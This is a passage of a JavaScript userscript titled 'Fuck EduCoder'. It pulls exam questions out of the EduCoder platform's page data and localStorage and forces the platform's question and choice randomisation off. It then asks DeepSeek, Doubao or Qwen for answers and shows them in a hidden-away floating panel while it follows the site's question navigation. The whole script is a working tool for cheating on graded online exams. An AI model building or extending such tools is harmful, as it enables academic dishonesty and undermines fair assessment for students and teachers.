如果已有答案且不是强制刷新,则直接显示 if (question.aiAnswer && !forceRefresh) { FuckEduCoder.updateAnswerUI(answerContainer, question.aiAnswer, question); return; } // 显示加载状态 answerContainer.innerHTML = '<em style="color: #666;">正在生成答案,请稍候...</em>'; try { // 构建提示词 const prompt = FuckEduCoder.buildPromptForQuestion(question); // 调用AI模型获取答案 const aiAnswer = await FuckEduCoder.callAIModel(prompt); // 更新UI显示答案 FuckEduCoder.updateAnswerUI(answerContainer, aiAnswer, question); } catch (error) { console.error('生成答案时出错:', error); answerContainer.innerHTML = `<em style="color: #f44336;">生成答案失败: ${error.message}</em>`; } }; FuckEduCoder.displayQuestion = (question, index, total) => { const questionContainer = document.getElementById('current-question'); if (!questionContainer) return; if (question.type === 'exam-info') { questionContainer.innerHTML = ''; return; } let html = ` <div class="question-item"> <div style="display: flex; flex-wrap: wrap; gap: 5px; align-items: center; margin-bottom: 10px;"> <div class="question-type">${question.type}</div> <div class="question-score">分值: ${question.score}分</div> </div> <div class="question-title">${question.title}</div> `; const webPageChoices = FuckEduCoder.getWebPageChoicesOrder(question.questionId); if (question.choices && question.choices.length > 0) { if (webPageChoices && webPageChoices.length > 0) { webPageChoices.forEach((choice) => { html += `<div class="choice-item">${choice.letter}. ${choice.text}</div>`; }); } else { question.choices.forEach((choice, cIndex) => { const optionLetter = String.fromCharCode(65 + cIndex); html += `<div class="choice-item">${optionLetter}. ${choice.choice_text}</div>`; }); } } // 特殊处理程序填空题 if (question.questionType === 8) { // 添加程序填空题标识 html += `<div style="margin-top: 10px; color: #ff5722; font-size: 12px; background-color: rgba(255,87,34,.05); padding: 6px; border-radius: 4px;"> <strong>程序填空题</strong> (Hack ID: ${question.hackId || '未知'}) </div>`; } if (question.code) { html += `<pre class="code-block">${question.code}</pre>`; } if (question.subQuestions && question.subQuestions.length > 0) { html += `<div class="sub-questions"><strong>子题目:</strong>`; question.subQuestions.forEach((subQuestion, sIndex) => { html += ` <div class="question-item" style="margin-top: 10px; padding: 5px;"> <div class="question-title">${sIndex + 1}. ${subQuestion.title}</div> <div class="question-score">分值: ${subQuestion.score}分</div> `; const webPageSubChoices = FuckEduCoder.getWebPageChoicesOrder(subQuestion.questionId); if (subQuestion.choices && subQuestion.choices.length > 0) { if (webPageSubChoices && webPageSubChoices.length > 0) { webPageSubChoices.forEach((choice) => { html += `<div class="choice-item">${choice.letter}. ${choice.text}</div>`; }); } else { subQuestion.choices.forEach((choice, scIndex) => { const optionLetter = String.fromCharCode(65 + scIndex); html += `<div class="choice-item">${optionLetter}. ${choice.choice_text}</div>`; }); } } html += `</div>`; }); html += `</div>`; } html += ` <div class="ai-answer-section"> <div style="display: flex; justify-content: space-between; align-items: center;"> <strong>AI辅助答案:</strong> <div> <button class="action-button" id="refresh-answer-btn" style="padding: 4px 8px; font-size: 12px; min-width: auto; box-shadow: none;">刷新答案</button> <button class="action-button" id="toggle-auto-answer-btn" style="padding: 4px 8px; font-size: 12px; min-width: auto; box-shadow: none; margin-left: 5px; ${localStorage.getItem(CONSTANTS.LOCAL_STORAGE_AUTO_ANSWER) === 'false' ? 'background-color: #ff9800;' : ''}"> ${localStorage.getItem(CONSTANTS.LOCAL_STORAGE_AUTO_ANSWER) === 'false' ? '开启自动' : '关闭自动'} </button> </div> </div> <div style="color: #ff5722; font-size: 12px; margin-top: 5px; background-color: rgba(255,87,34,.05); padding: 6px; border-radius: 4px;"> <strong>注意:</strong>AI生成答案中的选项顺序可能与网页上显示的不一致,请以网页显示的选项顺序为准! </div> <div id="ai-answer-content" style="margin-top: 8px;"> <em style="color: #666;">正在生成答案,请稍候...</em> </div> </div> `; html += `</div>`; questionContainer.innerHTML = html; const refreshAnswerBtn = document.getElementById('refresh-answer-btn'); if (refreshAnswerBtn) { refreshAnswerBtn.addEventListener('click', () => { FuckEduCoder.generateAIAnswer(question, true); }); } const toggleAutoAnswerBtn = document.getElementById('toggle-auto-answer-btn'); if (toggleAutoAnswerBtn) { toggleAutoAnswerBtn.addEventListener('click', () => { const currentSetting = localStorage.getItem(CONSTANTS.LOCAL_STORAGE_AUTO_ANSWER) === 'false'; localStorage.setItem(CONSTANTS.LOCAL_STORAGE_AUTO_ANSWER, currentSetting ? 'true' : 'false'); toggleAutoAnswerBtn.textContent = currentSetting ? '关闭自动' : '开启自动'; toggleAutoAnswerBtn.style.backgroundColor = currentSetting ? '#4CAF50' : '#ff9800'; if (currentSetting && !question.aiAnswer) { FuckEduCoder.generateAIAnswer(question); } }); } if (localStorage.getItem(CONSTANTS.LOCAL_STORAGE_AUTO_ANSWER) !== 'false') { if (question.aiAnswer) { // 处理反引号问题,将其替换为HTML实体 const formattedAnswer = question.aiAnswer .replace(/`/g, '`') .replace(/\n\n/g, '<br><br>') .replace(/\n/g, '<br>'); const answerContainer = document.getElementById('ai-answer-content'); if (answerContainer) { answerContainer.innerHTML = `<div class="ai-answer">${formattedAnswer}</div>`; } const miniAnswerContainer = document.getElementById('mini-answer'); if (miniAnswerContainer) { let simplifiedAnswer = question.aiAnswer.split('\n')[0]; if (simplifiedAnswer.length > 50) { simplifiedAnswer = simplifiedAnswer.substring(0, 50) + '...'; } miniAnswerContainer.textContent = `${question.type}: ${simplifiedAnswer}`; } } else { FuckEduCoder.generateAIAnswer(question); } } else { const answerContainer = document.getElementById('ai-answer-content'); if (answerContainer) { answerContainer.innerHTML = '<em style="color: #666;">已关闭自动生成答案,点击"刷新答案"按钮获取答案</em>'; } const miniAnswerContainer = document.getElementById('mini-answer'); if (miniAnswerContainer) { miniAnswerContainer.textContent = `${question.type}: 已关闭自动生成答案`; } } }; FuckEduCoder.showApiSettingsModal = () => { const existingModal = document.getElementById('api-settings-modal'); if (existingModal) { document.body.removeChild(existingModal); } const savedDeepseekApiKey = localStorage.getItem(CONSTANTS.LOCAL_STORAGE_DEEPSEEK_API_KEY) || CONSTANTS.DEEPSEEK_DEFAULT_API_KEY; const savedDoubaoApiKey = localStorage.getItem(CONSTANTS.LOCAL_STORAGE_DOUBAO_API_KEY) || CONSTANTS.DOUBAO_DEFAULT_API_KEY; const savedQwenApiKey = localStorage.getItem(CONSTANTS.LOCAL_STORAGE_QWEN_API_KEY) || CONSTANTS.QWEN_DEFAULT_API_KEY; const currentAiModel = localStorage.getItem(CONSTANTS.LOCAL_STORAGE_CURRENT_AI_MODEL) || 'deepseek'; const autoGenerateAnswers = localStorage.getItem(CONSTANTS.LOCAL_STORAGE_AUTO_ANSWER) !== 'false'; const disableDeepThinking = localStorage.getItem(CONSTANTS.LOCAL_STORAGE_THINKING_DISABLED) === 'true'; const modal = document.createElement('div'); modal.id = 'api-settings-modal'; modal.style.cssText = ` position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background-color: #fff; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.3); z-index: 10000; width: 350px; /* 增加宽度 */ `; modal.innerHTML = ` <h3 style="margin-top: 0;">AI API 设置</h3> <div style="margin-bottom: 15px;"> <label style="display: block; margin-bottom: 5px;">选择 AI 模型:</label> <div style="display: flex; gap: 10px; flex-wrap: wrap;"> <label> <input type="radio" name="ai_model" value="deepseek" id="radio-deepseek" ${currentAiModel === 'deepseek' ? 'checked' : ''}> DeepSeek </label> <label> <input type="radio" name="ai_model" value="doubao" id="radio-doubao" ${currentAiModel === 'doubao' ? 'checked' : ''}> 豆包 </label> <label> <input type="radio" name="ai_model" value="qwen" id="radio-qwen" ${currentAiModel === 'qwen' ? 'checked' : ''}> 通义千问 </label> </div> </div> <div id="deepseek-api-section" style="margin-bottom: 15px; ${currentAiModel === 'deepseek' ? '' : 'display: none;'}"> <label for="deepseek-api-key-input" style="display: block; margin-bottom: 5px;">DeepSeek API 密钥:</label> <input type="text" id="deepseek-api-key-input" value="${savedDeepseekApiKey}" style="width: 100%; padding: 5px; box-sizing: border-box;"> </div> <div id="doubao-api-section" style="margin-bottom: 15px; ${currentAiModel === 'doubao' ? '' : 'display: none;'}"> <label for="doubao-api-key-input" style="display: block; margin-bottom: 5px;">豆包 API 密钥:</label> <input type="text" id="doubao-api-key-input" value="${savedDoubaoApiKey}" style="width: 100%; padding: 5px; box-sizing: border-box;"> </div> <div id="qwen-api-section" style="margin-bottom: 15px; ${currentAiModel === 'qwen' ? '' : 'display: none;'}"> <label for="qwen-api-key-input" style="display: block; margin-bottom: 5px;">通义千问 API 密钥:</label> <input type="text" id="qwen-api-key-input" value="${savedQwenApiKey}" style="width: 100%; padding: 5px; box-sizing: border-box;"> </div> <div style="margin-bottom: 15px;"> <label style="display: flex; align-items: center;"> <input type="checkbox" id="auto-generate-checkbox" ${autoGenerateAnswers ? 'checked' : ''}> <span style="margin-left: 5px;">自动生成答案</span> </label> </div> <div style="margin-bottom: 15px;"> <label style="display: flex; align-items: center;"> <input type="checkbox" id="disable-deep-thinking-checkbox" ${disableDeepThinking ? 'checked' : ''}> <span style="margin-left: 5px;">禁用深度思考(不输出思维链内容)</span> </label> </div> <div style="display: flex; justify-content: flex-end;"> <button id="cancel-api-settings" style="margin-right: 10px; padding: 5px 10px;">取消</button> <button id="save-api-settings" style="padding: 5px 10px; background-color: #4CAF50; color: white; border: none; border-radius: 3px;">保存</button> </div> `; document.body.appendChild(modal); const deepseekSection = document.getElementById('deepseek-api-section'); const doubaoSection = document.getElementById('doubao-api-section'); const qwenSection = document.getElementById('qwen-api-section'); const radioDeepseek = document.getElementById('radio-deepseek'); const radioDoubao = document.getElementById('radio-doubao'); const radioQwen = document.getElementById('radio-qwen'); const updateApiKeyVisibility = () => { if (radioDeepseek.checked) { deepseekSection.style.display = ''; doubaoSection.style.display = 'none'; qwenSection.style.display = 'none'; } else if (radioDoubao.checked) { deepseekSection.style.display = 'none'; doubaoSection.style.display = ''; qwenSection.style.display = 'none'; } else if (radioQwen.checked) { deepseekSection.style.display = 'none'; doubaoSection.style.display = 'none'; qwenSection.style.display = ''; } }; radioDeepseek.addEventListener('change', updateApiKeyVisibility); radioDoubao.addEventListener('change', updateApiKeyVisibility); radioQwen.addEventListener('change', updateApiKeyVisibility); document.getElementById('cancel-api-settings').addEventListener('click', () => { document.body.removeChild(modal); }); document.getElementById('save-api-settings').addEventListener('click', () => { const selectedAiModel = radioDeepseek.checked ? 'deepseek' : (radioDoubao.checked ? 'doubao' : 'qwen'); const deepseekApiKey = document.getElementById('deepseek-api-key-input').value.trim(); const doubaoApiKey = document.getElementById('doubao-api-key-input').value.trim(); const qwenApiKey = document.getElementById('qwen-api-key-input').value.trim(); const autoGenerate = document.getElementById('auto-generate-checkbox').checked; const disableDeepThinking = document.getElementById('disable-deep-thinking-checkbox').checked; localStorage.setItem(CONSTANTS.LOCAL_STORAGE_CURRENT_AI_MODEL, selectedAiModel); localStorage.setItem(CONSTANTS.LOCAL_STORAGE_DEEPSEEK_API_KEY, deepseekApiKey); localStorage.setItem(CONSTANTS.LOCAL_STORAGE_DOUBAO_API_KEY, doubaoApiKey); localStorage.setItem(CONSTANTS.LOCAL_STORAGE_QWEN_API_KEY, qwenApiKey); localStorage.setItem(CONSTANTS.LOCAL_STORAGE_AUTO_ANSWER, autoGenerate ? 'true' : 'false'); localStorage.setItem(CONSTANTS.LOCAL_STORAGE_THINKING_DISABLED, disableDeepThinking ? 'true' : 'false'); document.body.removeChild(modal); const toggleBtn = document.getElementById('toggle-auto-answer-btn'); if (toggleBtn) { toggleBtn.textContent = autoGenerate ? '关闭自动' : '开启自动'; } if (autoGenerate && FuckEduCoder.currentQuestionIndex > 0) { const currentQuestion = FuckEduCoder.allQuestions[FuckEduCoder.currentQuestionIndex]; if (currentQuestion) { FuckEduCoder.generateAIAnswer(currentQuestion, true); } } }); }; FuckEduCoder.makeDraggable = (element, handleElement) => { let startX, startY, startLeft, startTop, isDragging = false; const winWidth = window.innerWidth || document.documentElement.clientWidth; const winHeight = window.innerHeight || document.documentElement.clientHeight; const header = handleElement || element.querySelector('.panel-header'); const computedStyle = window.getComputedStyle(element); if (computedStyle.position !== 'fixed' && computedStyle.position !== 'absolute' && computedStyle.position !== 'relative') { element.style.position = 'fixed'; } if (header) { header.style.cursor = 'move'; header.addEventListener('mousedown', dragMouseDown, { passive: false }); header.addEventListener('touchstart', dragTouchStart, { passive: false }); header.addEventListener('dblclick', (e) => { element.style.top = '20px'; element.style.right = '20px'; element.style.left = 'auto'; element.style.bottom = 'auto'; }); } function dragMouseDown(e) { e.preventDefault(); e.stopPropagation(); startX = e.clientX; startY = e.clientY; const rect = element.getBoundingClientRect(); startLeft = rect.left; startTop = rect.top; isDragging = true; element.classList.add('dragging'); document.addEventListener('mousemove', elementDrag, { passive: false }); document.addEventListener('mouseup', closeDragElement); document.body.style.userSelect = 'none'; } function dragTouchStart(e) { if (e.touches.length === 1) { e.preventDefault(); e.stopPropagation(); const touch = e.touches[0]; startX = touch.clientX; startY = touch.clientY; const rect = element.getBoundingClientRect(); startLeft = rect.left; startTop = rect.top; isDragging = true; element.classList.add('dragging'); document.addEventListener('touchmove', elementTouchDrag, { passive: false }); document.addEventListener('touchend', closeTouchDragElement); document.addEventListener('touchcancel', closeTouchDragElement); document.body.style.userSelect = 'none'; } } function elementDrag(e) { if (!isDragging) return; e.preventDefault(); e.stopPropagation(); const dx = e.clientX - startX; const dy = e.clientY - startY; const elementWidth = element.offsetWidth; const elementHeight = element.offsetHeight; let newLeft = startLeft + dx; let newTop = startTop + dy; newLeft = Math.max(-elementWidth * 0.25, Math.min(newLeft, winWidth - elementWidth * 0.25)); newTop = Math.max(0, Math.min(newTop, winHeight - 40)); element.style.left = `${newLeft}px`; element.style.top = `${newTop}px`; element.style.right = 'auto'; element.style.bottom = 'auto'; } function elementTouchDrag(e) { if (!isDragging || e.touches.length !== 1) return; e.preventDefault(); e.stopPropagation(); const touch = e.touches[0]; const dx = touch.clientX - startX; const dy = touch.clientY - startY; const elementWidth = element.offsetWidth; const elementHeight = element.offsetHeight; // 计算边界 let newLeft = startLeft + dx; let newTop = startTop + dy; newLeft = Math.max(-elementWidth * 0.25, Math.min(newLeft, winWidth - elementWidth * 0.25)); newTop = Math.max(0, Math.min(newTop, winHeight - 40)); element.style.left = `${newLeft}px`; element.style.top = `${newTop}px`; element.style.right = 'auto'; element.style.bottom = 'auto'; } function closeDragElement(e) { isDragging = false; element.classList.remove('dragging'); document.removeEventListener('mousemove', elementDrag); document.removeEventListener('mouseup', closeDragElement); document.body.style.userSelect = ''; try { localStorage.setItem('panel_position', JSON.stringify({ left: element.style.left, top: element.style.top })); } catch (err) { } } function closeTouchDragElement(e) { isDragging = false; element.classList.remove('dragging'); document.removeEventListener('touchmove', elementTouchDrag); document.removeEventListener('touchend', closeTouchDragElement); document.removeEventListener('touchcancel', closeTouchDragElement); document.body.style.userSelect = ''; try { localStorage.setItem('panel_position', JSON.stringify({ left: element.style.left, top: element.style.top })); } catch (err) { } } try { const savedPosition = localStorage.getItem('panel_position'); if (savedPosition) { const position = JSON.parse(savedPosition); if (position.left && position.top) { element.style.left = position.left; element.style.top = position.top; element.style.right = 'auto'; element.style.bottom = 'auto'; } } } catch (err) { } }; FuckEduCoder.createPanel = () => { const panel = document.createElement('div'); panel.id = 'question-extractor-panel'; const viewportWidth = Math.max(document.documentElement.clientWidth, window.innerWidth || 0); const viewportHeight = Math.max(document.documentElement.clientHeight, window.innerHeight || 0); panel.style.top = '20px'; panel.style.right = '20px'; panel.style.position = 'fixed'; panel.style.zIndex = '9999'; panel.innerHTML = ` <div class="panel-header"> <div class="panel-title">Fuck EduCoder</div> <div class="panel-controls"> <div class="panel-button" id="minimize-button">_</div> <div class="panel-button" id="close-button">×</div> </div> </div> <div class="mini-answer" id="mini-answer">等待答案...</div> <div class="panel-content"> <div id="status-message">等待题目数据...</div> <div id="exam-info"></div> <div id="current-question"></div> <div class="action-buttons"> <button class="action-button" id="extract-button">提取题目</button> <button class="action-button" id="copy-button">复制全部</button> <button class="action-button" id="save-button">保存文件</button> <button class="action-button" id="api-settings-button">AI设置</button> </div> </div> `; document.body.appendChild(panel); document.getElementById('minimize-button').addEventListener('click', () => { panel.classList.toggle('minimized'); if (panel.classList.contains('minimized')) { const currentQuestion = FuckEduCoder.allQuestions[FuckEduCoder.currentQuestionIndex]; const miniAnswerContainer = document.getElementById('mini-answer'); if (currentQuestion && miniAnswerContainer) { if (currentQuestion.aiAnswer) { let simplifiedAnswer = currentQuestion.aiAnswer.split('\n')[0]; if (simplifiedAnswer.length > 50) { simplifiedAnswer = simplifiedAnswer.substring(0, 50) + '...'; } miniAnswerContainer.textContent = `${currentQuestion.type}: ${simplifiedAnswer}`; } else if (currentQuestion.type === 'exam-info') { miniAnswerContainer.textContent = '考试信息'; } else { miniAnswerContainer.textContent = `${currentQuestion.type}: 尚未生成答案`; } } } }); document.getElementById('close-button').addEventListener('click', () => { panel.style.display = 'none'; }); document.getElementById('extract-button').addEventListener('click', () => { FuckEduCoder.extractQuestionsManually(); }); document.getElementById('copy-button').addEventListener('click', () => { FuckEduCoder.copyExtractedQuestions(); }); document.getElementById('save-button').addEventListener('click', () => { FuckEduCoder.saveExtractedQuestions(); }); document.getElementById('api-settings-button').addEventListener('click', () => { FuckEduCoder.showApiSettingsModal(); }); const miniAnswerContainer = document.getElementById('mini-answer'); if (miniAnswerContainer) { miniAnswerContainer.addEventListener('click', () => { if (panel.classList.contains('minimized')) { panel.classList.remove('minimized'); } }); miniAnswerContainer.style.cursor = 'pointer'; } FuckEduCoder.makeDraggable(panel, panel.querySelector('.panel-header')); return panel; }; FuckEduCoder.extractQuestions = (jsonData) => { try { const data = typeof jsonData === 'string' ? JSON.parse(jsonData) : jsonData; if (data.exercise) { data.exercise.question_random = false; data.exercise.choice_random = false; console.log('已强制禁用题目和选项的随机排序'); } const formattedData = FuckEduCoder.formatQuestionData(data); FuckEduCoder.extractedQuestionsData = formattedData; FuckEduCoder.allQuestions = FuckEduCoder.extractQuestionsToArray(data); FuckEduCoder.currentQuestionIndex = 0; if (FuckEduCoder.allQuestions.length > 0) { if (FuckEduCoder.allQuestions[0].type === 'exam-info') { FuckEduCoder.displayExamInfo(FuckEduCoder.allQuestions[0]); } if (FuckEduCoder.allQuestions.length > 1) { FuckEduCoder.currentQuestionIndex = 1; FuckEduCoder.displayQuestion(FuckEduCoder.allQuestions[1], 1, FuckEduCoder.allQuestions.length); } } const statusMessage = document.getElementById('status-message'); if (statusMessage) { statusMessage.textContent = '题目提取成功!'; statusMessage.style.color = '#4CAF50'; } return formattedData; } catch (error) { console.error('提取题目时出错:', error); const statusMessage = document.getElementById('status-message'); if (statusMessage) { statusMessage.textContent = '提取题目失败: ' + error.message; statusMessage.style.color = '#f44336'; } return null; } }; FuckEduCoder.extractQuestionsManually = () => { const statusMessage = document.getElementById('status-message'); if (statusMessage) { statusMessage.textContent = '正在查找题目数据...'; statusMessage.style.color = '#2196F3'; } try { let exerciseData = null; for (const key in window) { try { const value = window[key]; if (typeof value === 'object' && value !== null) { if (value.exercise_question_types && Array.isArray(value.exercise_question_types)) { exerciseData = value; break; } if (value.exercise && typeof value.exercise === 'object' && value.exercise.exercise_name) { exerciseData = value; break; } } } catch (e) { /* ignore */ } } if (exerciseData) { FuckEduCoder.extractQuestions(exerciseData); return; } for (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i); try { const value = localStorage.getItem(key); if (value && value.includes('exercise_question_types')) { const parsedValue = JSON.parse(value); if (parsedValue.exercise_question_types) { FuckEduCoder.extractQuestions(parsedValue); return; } } } catch (e) { /* ignore */ } } if (statusMessage) { statusMessage.textContent = '未找到题目数据,请确保您在题目页面上。'; statusMessage.style.color = '#f44336'; } } catch (error) { console.error('手动提取题目时出错:', error); if (statusMessage) { statusMessage.textContent = '提取失败: ' + error.message; statusMessage.style.color = '#f44336'; } } }; FuckEduCoder.copyExtractedQuestions = () => { if (FuckEduCoder.extractedQuestionsData) { navigator.clipboard.writeText(FuckEduCoder.extractedQuestionsData) .then(() => { const statusMessage = document.getElementById('status-message'); if (statusMessage) { statusMessage.textContent = '题目已复制到剪贴板!'; statusMessage.style.color = '#4CAF50'; setTimeout(() => { statusMessage.textContent = '题目提取成功!'; statusMessage.style.color = '#4CAF50'; }, 2000); } }) .catch(err => { console.error('复制失败:', err); const statusMessage = document.getElementById('status-message'); if (statusMessage) { statusMessage.textContent = '复制失败: ' + err.message; statusMessage.style.color = '#f44336'; } }); } else { const statusMessage = document.getElementById('status-message'); if (statusMessage) { statusMessage.textContent = '没有可复制的题目数据'; statusMessage.style.color = '#f44336'; } } }; FuckEduCoder.saveExtractedQuestions = () => { if (FuckEduCoder.extractedQuestionsData) { const blob = new Blob([FuckEduCoder.extractedQuestionsData], { type: 'text/plain' }); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; let fileName = '题目导出.txt'; const match = FuckEduCoder.extractedQuestionsData.match(/^# (.*?)$/m); if (match && match[1]) { fileName = match[1].trim() + '.txt'; } a.download = fileName; document.body.appendChild(a); a.click(); document.body.removeChild(a); URL.revokeObjectURL(url); const statusMessage = document.getElementById('status-message'); if (statusMessage) { statusMessage.textContent = '题目已保存为文件!'; statusMessage.style.color = '#4CAF50'; setTimeout(() => { statusMessage.textContent = '题目提取成功!'; statusMessage.style.color = '#4CAF50'; }, 2000); } } else { const statusMessage = document.getElementById('status-message'); if (statusMessage) { statusMessage.textContent = '没有可保存的题目数据'; statusMessage.style.color = '#f44336'; } } }; FuckEduCoder.clickWebButton = (isNext) => { try { const buttonText = isNext ? '下一题' : '上一题'; const buttonClass = isNext ? 'next' : 'prev'; let targetButton = null; // 方法1:通过特定class查找 const changeButtons = document.querySelectorAll('.changeButton___sBTjl'); for (const btn of changeButtons) { if (btn.textContent.includes(buttonText)) { targetButton = btn; break; } } // 方法2:通过span查找 if (!targetButton) { const spans = document.querySelectorAll('span'); for (const span of spans) { if (span.textContent.includes(buttonText)) { let parent = span.parentElement; while (parent && parent.tagName.toLowerCase() !== 'button') { parent = parent.parentElement; } if (parent) { targetButton = parent; break; } } } } // 方法3:直接查找button if (!targetButton) { const buttons = document.querySelectorAll('button'); for (const btn of buttons) { if (btn.textContent.includes(buttonText)) { targetButton = btn; break; } } } // 方法4:通过class名称模糊查找 if (!targetButton) { const allElements = document.querySelectorAll('*'); for (const el of allElements) { if (el.className && typeof el.className === 'string' && el.className.toLowerCase().includes(buttonClass) && el.tagName.toLowerCase() !== 'script' && el.tagName.toLowerCase() !== 'style') { const style = window.getComputedStyle(el); if (style.display !== 'none' && style.visibility !== 'hidden') { targetButton = el; break; } } } } // 方法5:最后尝试 if (!targetButton) { const allClickables = document.querySelectorAll('button, a, [role="button"]'); for (const el of allClickables) { if (el.textContent.includes(buttonText) && window.getComputedStyle(el).display !== 'none') { console.log(`通过遍历找到网页${buttonText}按钮,正在点击`); el.click(); return true; } } console.log(`未找到网页${buttonText}按钮`); return false; } if (targetButton) { console.log(`找到网页${buttonText}按钮,正在点击:`, targetButton); targetButton.click(); return true; } return false; } catch (error) { console.error(`点击网页${isNext ? '下一题' : '上一题'}按钮时出错:`, error); return false; } }; FuckEduCoder.clickWebNextButton = () => { return FuckEduCoder.clickWebButton(true); }; FuckEduCoder.clickWebPrevButton = () => { return FuckEduCoder.clickWebButton(false); }; FuckEduCoder.showNextQuestion = () => { if (FuckEduCoder.allQuestions.length === 0) return; const webNextButton = FuckEduCoder.clickWebNextButton(); if (FuckEduCoder.currentQuestionIndex < FuckEduCoder.allQuestions.length - 1) { FuckEduCoder.currentQuestionIndex++; FuckEduCoder.displayQuestion(FuckEduCoder.allQuestions[FuckEduCoder.currentQuestionIndex], FuckEduCoder.currentQuestionIndex, FuckEduCoder.allQuestions.length); } }; FuckEduCoder.showPreviousQuestion = () => { if (FuckEduCoder.allQuestions.length === 0) return; const webPrevButton = FuckEduCoder.clickWebPrevButton(); if (FuckEduCoder.currentQuestionIndex > 0) { FuckEduCoder.currentQuestionIndex--; FuckEduCoder.displayQuestion(FuckEduCoder.allQuestions[FuckEduCoder.currentQuestionIndex], FuckEduCoder.currentQuestionIndex, FuckEduCoder.allQuestions.length); } }; FuckEduCoder.listenToWebPageNavigation = () => { const originalPushState = history.pushState; const originalReplaceState = history.replaceState; history.pushState = function() { originalPushState.apply(this, arguments); setTimeout(() => { FuckEduCoder.checkContentChange(); }, 500); }; history.replaceState = function() { originalReplaceState.apply(this, arguments); setTimeout(() => { FuckEduCoder.checkContentChange(); }, 500); }; window.addEventListener('popstate', () => { setTimeout(() => { FuckEduCoder.checkContentChange(); }, 500); }); }; FuckEduCoder.attachListenersToNavButtons = () => { const potentialButtons = []; const selectors = [ '.changeButton___sBTjl', 'button', 'a[role="button"]', '[role="button"]', '.ant-btn', '.next-btn', '.prev-btn' ]; selectors.forEach(selector => { document.querySelectorAll(selector).forEach(el => { if (!el.__navListenerAttached) { if (el.textContent.includes('下一题') || el.textContent.includes('上一题') || (el.className && typeof el.className === 'string' && (el.className.toLowerCase().includes('next') || el.className.toLowerCase().includes('prev')))) { potentialButtons.push(el); } } }); }); potentialButtons.forEach(button => { if (!button.__navListenerAttached) { button.__navListenerAttached = true; button.addEventListener('click', (event) => { const isNext = button.textContent.includes('下一题') || (button.className && typeof button.className === 'string' && button.className.toLowerCase().includes('next')); setTimeout(() => { if (isNext) { if (FuckEduCoder.currentQuestionIndex < FuckEduCoder.allQuestions.length - 1) { FuckEduCoder.currentQuestionIndex++; FuckEduCoder.displayQuestion(FuckEduCoder.allQuestions[FuckEduCoder.currentQuestionIndex], FuckEduCoder.currentQuestionIndex, FuckEduCoder.allQuestions.length); console.log('检测到网页下一题点击,脚本已同步切换到下一题'); } } else { if (FuckEduCoder.currentQuestionIndex > 0) { FuckEduCoder.currentQuestionIndex--; FuckEduCoder.displayQuestion(FuckEduCoder.allQuestions[FuckEduCoder.currentQuestionIndex], FuckEduCoder.currentQuestionIndex, FuckEduCoder.allQuestions.length); } } }, 300); }); } }); }; FuckEduCoder.attachListenersToQuestionNumbers = () => { try { const selectors = [ '.answerSheetItem___DIH2V', '.qindex___XuKA8', '.question-number', '.q-index', '.question-index', '.questionIndex', '[class*="answerSheet"]', '[class*="questionIndex"]', '[class*="qindex"]' ]; const questionNumberElements = []; selectors.forEach(selector => { document.querySelectorAll(selector).forEach(el => { if (!el.__questionNumberListenerAttached) { const text = el.textContent.trim(); const numberMatch = text.match(/^\d+$/); if (numberMatch || el.querySelector('span')?.textContent.match(/^\d+$/)) { questionNumberElements.push(el); } } }); }); const possibleQuestionButtons = document.querySelectorAll('button, div[role="button"], span[role="button"], a[role="button"]'); possibleQuestionButtons.forEach(btn => { if (!btn.__questionNumberListenerAttached) { const text = btn.textContent.trim(); if (/^\d+$/.test(text) && btn.offsetWidth < 50 && btn.offsetHeight < 50) { questionNumberElements.push(btn); } } }); questionNumberElements.forEach(element => { if (!element.__questionNumberListenerAttached) { element.__questionNumberListenerAttached = true; element.addEventListener('click', () => { let questionNumber; const text = element.textContent.trim(); const numberMatch = text.match(/\d+/); if (numberMatch) { questionNumber = parseInt(numberMatch[0], 10); } else { const spanElement = element.querySelector('span'); if (spanElement) { const spanText = spanElement.textContent.trim(); const spanNumberMatch = spanText.match(/\d+/); if (spanNumberMatch) { questionNumber = parseInt(spanNumberMatch[0], 10); } } } if (questionNumber && FuckEduCoder.allQuestions.length > 0) { let questionType = null; let parentElement = element.parentElement; const maxSearchDepth = 5; let currentDepth = 0; while (parentElement && currentDepth < maxSearchDepth) { // 扩展题型标签列表,包括可能的程序填空题标签 const typeLabels = ['简答题', '单选题', '多选题', '判断题', '填空题', '程序题', '编程题', '程序填空题']; const elementText = parentElement.textContent || ''; const foundType = typeLabels.find(label => elementText.includes(label)); if (foundType) { questionType = foundType; console.log(`通过父元素找到题型: ${questionType}`); break; } parentElement = parentElement.parentElement; currentDepth++; } if (!questionType) { const typeElements = document.querySelectorAll('h1, h2, h3, h4, h5, h6, .title, [class*="title"], [class*="type"]'); let closestTypeElement = null; let minDistance = Infinity; typeElements.forEach(typeEl => { // 扩展题型标签列表,包括可能的程序填空题标签 const typeText = typeEl.textContent || ''; const containsType = ['简答题', '单选题', '多选题', '判断题', '填空题', '程序题', '编程题', '程序填空题'].some(t => typeText.includes(t)); if (containsType) { const rect1 = element.getBoundingClientRect(); const rect2 = typeEl.getBoundingClientRect(); const distance = Math.sqrt( Math.pow(rect1.left - rect2.left, 2) + Math.pow(rect1.top - rect2.top, 2) ); if (distance < minDistance) { minDistance = distance; closestTypeElement = typeEl; } } }); if (closestTypeElement) { const typeText = closestTypeElement.textContent; const typeMatch = typeText.match(/(简答题|单选题|多选题|判断题|填空题|程序题|编程题|程序填空题)/); if (typeMatch) { questionType = typeMatch[1]; console.log(`通过距离找到题型: ${questionType}`); } } } // 如果找到了题型,尝试查找对应题目 if (questionType) { let matchedIndex = -1; let typeQuestionCounter = 0; // 添加调试日志 console.log(`尝试查找题型"${questionType}"下的第${questionNumber}题`); // 记录所有题目的类型信息,帮助调试 console.log('所有题目类型信息:'); for (let i = 1; i < FuckEduCoder.allQuestions.length; i++) { console.log(`索引 ${i}: 类型=${FuckEduCoder.allQuestions[i].type}, 原始类型=${FuckEduCoder.allQuestions[i].questionType}, 标题=${FuckEduCoder.allQuestions[i].title.substring(0, 30)}...`); } // 尝试直接匹配程序填空题 if (questionType.includes('程序') || questionType.includes('填空')) { console.log('尝试直接匹配程序填空题'); for (let i = 1; i < FuckEduCoder.allQuestions.length; i++) { // 对于程序填空题,直接检查questionType === 8 if (FuckEduCoder.allQuestions[i].questionType === 8) { typeQuestionCounter++; console.log(` 找到程序填空题, 计数器=${typeQuestionCounter}, 目标=${questionNumber}`); if (typeQuestionCounter === questionNumber) { matchedIndex = i; console.log(` ✓ 